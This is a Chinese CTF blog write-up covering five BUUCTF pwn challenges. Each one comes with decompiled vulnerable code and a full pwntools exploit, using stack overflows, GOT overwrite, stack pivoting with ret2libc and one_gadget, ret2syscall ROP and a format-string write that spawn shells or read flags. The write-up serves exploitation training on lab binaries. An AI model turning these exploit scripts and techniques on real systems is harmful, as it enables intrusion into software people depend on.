BUUCTF pwn wp 76 - 80

本文介绍了三个CTF挑战的解决方案,涉及栈溢出、rop技术、格式字符串漏洞和函数指针篡改。通过这些案例,展示了如何利用缓冲区溢出进行栈迁移,以及如何利用got表替换函数指针来实现ret2libc攻击。此外,还讨论了在不同场景下如何构造payload,包括限制输入长度的情况下的栈迁移和ret2syscall。
摘要由CSDN通过智能技术生成

cmcc_pwnme2

在这里插入图片描述

int __cdecl userfunction(char *src)
{
  char dest[108]; // [esp+Ch] [ebp-6Ch] BYREF

  strcpy(dest, src);
  return printf("Hello, %s\n", src);
}

fmt漏洞但是用不上, 看一下可以利用的函数

int exec_string()
{
  char s; // [esp+Bh] [ebp-Dh] BYREF
  FILE *stream; // [esp+Ch] [ebp-Ch]

  stream = fopen(&string, "r");
  if ( !stream )
    perror("Wrong file");
  fgets(&s, 50, stream);
  puts(&s);
  fflush(stdout);
  return fclose(stream);
}

在这里插入图片描述
向bss中的string传入flag路径
然后调用exec_string读取flag

from pwn import *
from LibcSearcher import *

url, port = "node4.buuoj.cn", 27289
filename = "./pwnme2"
elf = ELF(filename)
# libc = ELF("./")
# context(arch="amd64", os="linux")
context(arch="i386", os="linux")

local = 0
if local:
    context.log_level = "debug"
    io = process(filename)
    # context.terminal = ['tmux', 'splitw', '-h']
    # gdb.attach(io)
else:
    # context.log_level = "debug"
    io = remote(url, port)

def B():
    gdb.attach(io)
    pause()

def pwn():
    # plt_puts = 0x08048490
    # got_puts = 0x0804A028
    plt_gets = 0x08048440
    exec_string = 0x080485CB
    bss_string = 0x0804A060
    
    payload = cyclic(112) + p32(plt_gets) +  p32(exec_string)  + p32(bss_string)
    
    io.recvuntil('Please input:\n')
    io.sendline(payload)
    io.sendline("/flag\x00")
    print(io.recvall())


if __name__ == "__main__":
    pwn()
    io.interactive()

picoctf_2018_got_shell

在这里插入图片描述

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  _DWORD *v3; // [esp+14h] [ebp-114h] BYREF
  int v4; // [esp+18h] [ebp-110h] BYREF
  char s[256]; // [esp+1Ch] [ebp-10Ch] BYREF
  unsigned int v6; // [esp+11Ch] [ebp-Ch]

  v6 = __readgsdword(0x14u);
  setvbuf(_bss_start, 0, 2, 0);
  puts("I'll let you write one 4 byte value to memory. Where would you like to write this 4 byte value?");
  __isoc99_scanf("%x", &v3);
  sprintf(s, "Okay, now what value would you like to write to 0x%x", v3);
  puts(s);
  __isoc99_scanf("%x", &v4);
  sprintf(s, "Okay, writing 0x%x to 0x%x", v4, v3);
  puts(s);
  *v3 = v4;
  puts("Okay, exiting now...\n");
  exit(1);
}

有个后门

int win()
{
  return system("/bin/sh");
}

所以直接覆盖返回地址到后门即可, 不过这个思路有个问题就是不能泄露栈地址, 实际是不可行的
所以换一个思路, 就是用打got表, 换掉puts@got到后门即可

from pwn import *
from LibcSearcher import *

url, port = "node4.buuoj.cn", 27406 
filename = "./PicoCTF_2018_got-shell"
elf = ELF(filename)
# libc = ELF("./")
# context(arch="amd64", os="linux")
context(arch="i386", os="linux")

local = 1
if local:
    context.log_level = "debug"
    io = process(filename)
    # context.terminal = ['tmux', 'splitw', '-h']
    # gdb.attach(io)
else:
    io = remote(url, port)

def B():
    gdb.attach(io)
    pause()

def pwn():
    puts_got = elf.got['puts']
    win_addr = elf.sym['win']
    log.info("puts got address: %#x", puts_got)
    # log.info(hex(puts_got))
    io.sendlineafter("4 byte value?\n", hex(puts_got))
    io.recv()
    io.sendline(hex(win_addr))

if __name__ == "__main__":
    pwn()
    io.interactive()

actf_2019_babystack

在这里插入图片描述

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  __int64 result; // rax
  char s[208]; // [rsp+0h] [rbp-D0h] BYREF

  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  signal(14, handler);
  alarm(0x3Cu);
  memset(s, 0, sizeof(s));
  puts("Welcome to ACTF's babystack!");
  sleep(3u);
  puts("How many bytes of your message?");
  putchar(62);
  sub_400A1A();
  if ( nbytes <= 0xE0 )
  {
    printf("Your message will be saved at %p\n", s);
    puts("What is the content of your message?");
    putchar(62);
    read(0, s, nbytes);
    puts("Byebye~");
    result = 0LL;
  }
  else
  {
    puts("I've checked the boundary!");
    result = 1LL;
  }
  return result;
}

有限输入, 无整数溢出, 可以覆盖rbp和ret addr, 所以采用
双重栈迁移, 第一次泄露libc, 第二次ret2libc, 打onegadget

from pwn import *
from LibcSearcher import *

url, port = "node4.buuoj.cn", 27035
filename = "./ACTF_2019_babystack"
elf = ELF(filename)
libc = ELF("./libc64-2.27.so")
context(arch="amd64", os="linux")
# context(arch="i386", os="linux")

local = 0
if local:
    context.log_level = "debug"
    io = process(filename)
    # context.terminal = ['tmux', 'splitw', '-h']
    # gdb.attach(io)
else:
    io = remote(url, port)

def B():
    gdb.attach(io)
    pause()

def pwn():
    main_addr = 0x00000000004008F6
    leave_ret_addr = 0x0000000000400a18
    pop_rdi_addr = 0x0000000000400ad3
    libc_one_gadget = 0x4f2c5
    '''
    0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
    constraints:
    rsp & 0xf == 0
    rcx == NULL

    0x4f322 execve("/bin/sh", rsp+0x40, environ)
    constraints:
    [rsp+0x40] == NULL

    0x10a38c execve("/bin/sh", rsp+0x70, environ)
    constraints:
    [rsp+0x70] == NULL
    '''
    io.sendlineafter('>', str(0xe0))
    io.recvuntil('Your message will be saved at ')
    s_addr = int(io.recvuntil('\n',drop = True), 16)
    log.info("s buffer address: %#x", s_addr)
    
    payload = cyclic(8) + p64(pop_rdi_addr) + p64(elf.got['puts'])
    payload += p64(elf.plt['puts']) + p64(main_addr) 
    payload += cyclic(0xd0 - len(payload))
    payload += p64(s_addr) + p64(leave_ret_addr)

    io.sendafter('>', payload)
    io.recvuntil('Byebye~\n')
    puts_addr = u64(io.recvuntil('\n',drop = True).ljust(8,b'\x00'))
    libc_base = puts_addr - libc.sym['puts']
    one_gadget_addr = libc_base + libc_one_gadget

    io.sendlineafter('>', str(0xe0))
    io.recvuntil('Your message will be saved at ')
    s_addr = int(io.recvuntil('\n',drop = True), 16)
    log.info("s buffer address: %#x", s_addr)

    payload = cyclic(8) + p64(one_gadget_addr) 
    payload += cyclic(0xd0 - len(payload))
    payload += p64(s_addr) + p64(leave_ret_addr)

    io.sendafter('>', payload)


if __name__ == "__main__":
    pwn()
    io.interactive()

这里解答一下之前某个题, 双重栈迁移打不通的问题, 因为栈迁移会把ebp/rbp pop飞掉, 所以会破坏栈帧结构, 要多次使用漏洞, 需要从main/start开始, 不能直接从vul函数开始, 需要回复回正常栈帧结构.

picoctf_2018_can_you_gets_me

在这里插入图片描述

int vuln()
{
  char v1[24]; // [esp+0h] [ebp-18h] BYREF

  puts("GIVE ME YOUR NAME!");
  return gets(v1);
}

静态编译
ROP + ret2syscall

from pwn import *
from LibcSearcher import *

url, port = "node4.buuoj.cn", 27801
filename = "./PicoCTF_2018_can-you-gets-me"
elf = ELF(filename)
# libc = ELF("./")
# context(arch="amd64", os="linux")
context(arch="i386", os="linux")

local = 0
if local:
    context.log_level = "debug"
    io = process(filename)
    # context.terminal = ['tmux', 'splitw', '-h']
    # gdb.attach(io)
else:
    io = remote(url, port)

def B():
    gdb.attach(io)
    pause()

def pwn():
    pop_ebx_addr = 0x080481c9
    pop_ecx_addr = 0x080de955
    pop_edx_addr = 0x0806f02a
    pop_eax_addr = 0x080b81c6
    int_0x80_addr = 0x0806cc25
    gets_addr = elf.sym['gets']
    writable_addr = 0x80eb000
    payload = cyclic(0x18 + 4) + p32(gets_addr) + p32(pop_edx_addr) + p32(writable_addr)
    payload += p32(pop_edx_addr) + p32(0)
    payload += p32(pop_ecx_addr) + p32(0)
    payload += p32(pop_ebx_addr) + p32(writable_addr)
    payload += p32(pop_eax_addr) + p32(0xB) + p32(int_0x80_addr)
    io.sendlineafter("GIVE ME YOUR NAME!\n", payload)
    io.send(b"/bin/sh\x00")

if __name__ == "__main__":
    pwn()
    io.interactive()

mrctf2020_easy_equation

在这里插入图片描述

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [rsp+Fh] [rbp-1h] BYREF

  memset(&s, 0, 0x400uLL);
  fgets(&s, 1023, stdin);
  printf(&s);
  if ( 11 * judge * judge + 17 * judge * judge * judge * judge - 13 * judge * judge * judge - 7 * judge == 198 )
    system("exec /bin/sh");
  return 0;
}

fmt任意地址写, 绕过equation检测, 解一下方程, 得知judge == 2
在这里插入图片描述
凑一个字符, 使得参数地址对齐
在这里插入图片描述
judge在第8个参数
在这里插入图片描述
另外, 64位传参,可能存在被/x00截断的情况, 调试发现按8传参走不通, 补个字符, 按9传参

from pwn import *
from LibcSearcher import *

url, port = "node4.buuoj.cn", 27391
filename = "./mrctf2020_easy_equation"
elf = ELF(filename)
# libc = ELF("./")
context(arch="amd64", os="linux")
# context(arch="i386", os="linux")

local = 0
if local:
    context.log_level = "debug"
    io = process(filename)
    # context.terminal = ['tmux', 'splitw', '-h']
    # gdb.attach(io)
else:
    io = remote(url, port)

def B():
    gdb.attach(io)
    pause()

def pwn():
    judge_addr = 0x000000000060105C
    payload = "AA%9$nZZZ".encode() + p64(judge_addr)
    io.sendline(payload)


if __name__ == "__main__":
    pwn()
    io.interactive()
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值